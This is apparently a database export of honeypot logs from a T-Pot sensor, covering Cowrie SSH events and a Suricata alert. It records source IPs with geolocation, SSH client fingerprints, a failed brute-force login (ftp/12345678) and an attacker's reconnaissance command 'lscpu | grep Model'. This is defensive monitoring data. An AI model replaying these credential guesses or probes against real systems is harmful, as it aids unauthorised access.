21777	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:27.238166+03	2021-09-20 14:15:04.091613+03	{"_id": "xAXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e64b79dd4683", "@version": "1", "duration": 2.412863254547119, "timestamp": "2021-09-20T11:06:27.238166Z", "@timestamp": "2021-09-20T11:06:27.238Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21778	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.264335+03	2021-09-20 14:15:04.093613+03	{"_id": "xQXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b032e03f56c0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:27.264335Z", "@timestamp": "2021-09-20T11:06:27.264Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21779	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:27.378843+03	2021-09-20 14:15:04.094612+03	{"_id": "xgXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1ea6db3a4b69", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:27.378843Z", "@timestamp": "2021-09-20T11:06:27.378Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21780	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.402436+03	2021-09-20 14:15:04.095613+03	{"_id": "xwXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ftp/12345678] failed", "session": "ed558b78f6a3", "@version": "1", "password": "12345678", "username": "ftp", "timestamp": "2021-09-20T11:06:27.402436Z", "@timestamp": "2021-09-20T11:06:27.402Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21781	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:27.404771+03	2021-09-20 14:15:04.096613+03	{"_id": "yAXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "223.241.247.214", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.584291934967041, "duplicate": true, "timestamp": "2021-09-20T11:06:27.404771Z", "@timestamp": "2021-09-20T11:06:27.404Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21783	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.542732+03	2021-09-20 14:15:04.099651+03	{"_id": "ygXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b032e03f56c0", "@version": "1", "timestamp": "2021-09-20T11:06:27.542732Z", "@timestamp": "2021-09-20T11:06:27.542Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21784	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.593632+03	2021-09-20 14:15:04.100644+03	{"_id": "ywXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "129aae4c0a88", "@version": "1", "duration": 2.5767762660980225, "timestamp": "2021-09-20T11:06:27.593632Z", "@timestamp": "2021-09-20T11:06:27.593Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21785	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:27.689386+03	2021-09-20 14:15:04.101644+03	{"_id": "zAXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1ea6db3a4b69", "@version": "1", "timestamp": "2021-09-20T11:06:27.689386Z", "@timestamp": "2021-09-20T11:06:27.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21786	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:27.793489+03	2021-09-20 14:15:04.103643+03	{"_id": "zQXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:27.793489Z", "@timestamp": "2021-09-20T11:06:27.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
21787	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:27.794034+03	2021-09-20 14:15:04.104642+03	{"_id": "zgXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:27.794034Z", "@timestamp": "2021-09-20T11:06:27.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
21817	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:06:30.405063+03	2021-09-20 14:15:04.142612+03	{"_id": "PQXiAnwBvYTbRNuEzv_Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:06:29.855716+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1209}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1546149223009956, "payload": "AAADVAUUtGjF8cXB6Vlz1MZAdr/qoAAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAACqGCvf6g==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 29573, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:06:30.405063Z", "@timestamp": "2021-09-20T11:06:30.405Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T...h.....Ys..@v.......ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none...............+.."}}	1	\N	\N	alert	known attacker	\N
21788	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.796714+03	2021-09-20 14:15:04.105643+03	{"_id": "zwXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4463f8a835ce", "@version": "1", "timestamp": "2021-09-20T11:06:27.796714Z", "@timestamp": "2021-09-20T11:06:27.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
